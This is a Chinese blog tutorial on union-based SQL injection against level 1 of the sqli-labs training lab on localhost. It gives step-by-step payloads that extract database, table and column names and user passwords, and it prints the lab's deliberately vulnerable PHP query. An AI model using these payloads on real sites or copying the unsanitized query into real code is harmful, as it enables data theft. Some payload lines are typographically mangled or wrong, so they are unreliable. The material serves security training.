SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)

SQL注入介绍

什么是SQL注入:
SQL注入是(SQLi)是一种注入攻击,可以执行恶意的SQL语句,它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或者web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。

SQL注入的原理:
用户输入的数据被当作代码拼接到代码语句里面执行,造成一些不可估量的后果

危害:
你的数据被别人窃取,甚至被别人全部删除。

有输入输出的地方,就可能存在安全问题



SQL注入基础

  • 一个可利用的数据库
    information_schema
  • information_schema库的一些可利用的表

SCHEMATA表
schemata表存储该用户创建的所有数据库的库名。要记住该表中记录数据库库名的字段名为SCHEMA_NAME

TABLES表
TABLES表存储该用户创建的所有数据库的库名和表名
           字段名 table_name    table_schema

table_name存储这个数据库对应数据库名的里面的表的值
table_schema是储存了这个数据库所有数据库名的字段

COLUMNS表
COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名
           字段名 table_schema   table_name   column_name

table_schema存的是数据库里面所有的数据库名
table_name对应数据库名的表名
column_name存储的是对应表名的字段名

SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第1张图片
SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第2张图片

mysql函数利用

SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第3张图片
SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第4张图片
SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第5张图片
SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第6张图片SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第7张图片

  • 常见的注释符
    #或 - - 空格 或/**/
    内联注释:
    内联注释的形式:/*! code /。内联注释可以用于整个SQL语句中,用来执行我们的SQL语句

index.php?id=-15 /* ! UNION*/ /* ! SELECT*/ 1,2,3

/**/在mysql中是多行注释,但是里面如果加了感叹号!那么后面的内容会被执行(内联注释绕过)



SQL注入的种类:

介绍一些常见的几种手法吧!
SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第8张图片

1、union联合注入过程

第一步、测试注入点(一些小tips:利用引号,and 1=1, or 1=1之类的)判断是字符型还是数字型
第二步、利用order by查表的列数
第三步、如有回显,找到回显位(回显,就是显示正在执行的批处理命令及执行的结果等)
第四步、利用union select 爆库、爆表、爆字段名、爆值

接下来以sql-lab第一关来演示一下union联合注入

sql-lab第一关:

SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第9张图片
输入id=1——》http://127.0.0.1/sqli/Less-1/?id=1
SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第10张图片
step1、测试注入点(一些小tips:利用引号,and 1=1, or 1=1之类的)判断是字符型还是数字型

当加引号时:http://127.0.0.1/sqli/Less-1/?id=1’——》报错
在这里插入图片描述
当单引号后面添加注释符时:http://127.0.0.1/sqli/Less-1/?id=1%’ - -+(+表示空格) ——》成功,有回显
在这里插入图片描述
从这就可以判断它是一个字符型的,并且存在sql注入

step2、利用order by查表的列数

看一下表回显的列数,从1开始查起:http://127.0.0.1/sqli/Less-1/?id=1‘ order by --+
order by 1/2/3的时候都会成功回显(/表示或)
当输入order by 4的时候:
SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第11张图片
没有第四列,所以可以判断这个表有三列

step3、如有回显,找到回显位(回显位就是能够显示你查询信息的地方)

利用union select找回显位:
在这里插入图片描述
这里为什么是id=-1?因为id=-1时返回的是一张空表
然后用union select联合查询1,2,3它也会返回一张1,2,3的表,一张空表和一张带有1,2,3的表进行拼接,就会返回后面这张表(要保证前后两张表列数是一样的,这也是为什么要用order by 查询这张表有多少列的原因)

SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第12张图片
可以看到2和3这个位置可以回显我们的信息的

step4、利用union select 暴库、爆表、爆字段名、爆值

先爆库
利用database()来返回数据库(写在2或3的位置上都可以)
http://127.0.0.1/sqli/Less-1/?id=1‘ order by 1,2,database() --+
SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第13张图片
如果写成http://127.0.0.1/sqli/Less-1/?id=1‘ order by 1,database(),3 --+
SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第14张图片

可以发现它的数据库是security,找到它数据库名字之后,再去找表名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
在这里插入图片描述
由上图可知security这个数据库存放了emails,referers,uagents, users这四张表


下面看一看users这个表有哪些字段名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’ --+
SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第15张图片
由上图可以发现user表中字段名有id,username,password


最后就是去爆这些字段名的数据(对应的值)
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(username) from users - -+
由下图可知有这些用户名在这里插入图片描述
同理要找密码的话:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(password) from users- -+
在这里插入图片描述

打开第一关后端语言的代码分析一下吧!
SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第16张图片

MYSQL中group_concat()/concat()/concat_ws/substr()函数

SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第17张图片SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第18张图片SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第19张图片SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第20张图片SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第21张图片SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第22张图片SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第23张图片SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第24张图片注意start是从1开始的

打开index.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">



//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "";
  	echo 'Your Login name:'. $row['username'];
  	echo "
"
; echo 'Your Password:' .$row['password']; echo "
"
; } else { echo ''; print_r(mysql_error()); echo ""; } } else { echo "Please input the ID as parameter with numeric value";} ?> </font> </div></br></br></br><center> <img src="../images/Less-1.jpg" /></center> </body> </html>

没有对用户输入的id进行过滤,导致我们想输入什么就输入什么
SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_第25张图片
当输入id=-1’的时候把单引号闭合了

$sql=“SELECT * FROM users WHERE id= ’ $id’ union select XXXX #’LIMIT 0,1”;
上面语句中红色部分是我们传进去的值: $ id后面的那个单引号和前面那个单引号形成闭合, #将后面部分注释

防御措施
1、过滤危险字符
2、做到数据和代码分离

2、时间盲注

3、布尔盲注

4、堆叠注入

5、通过sql注入写webshell

你可能感兴趣的:(CyberSecurity)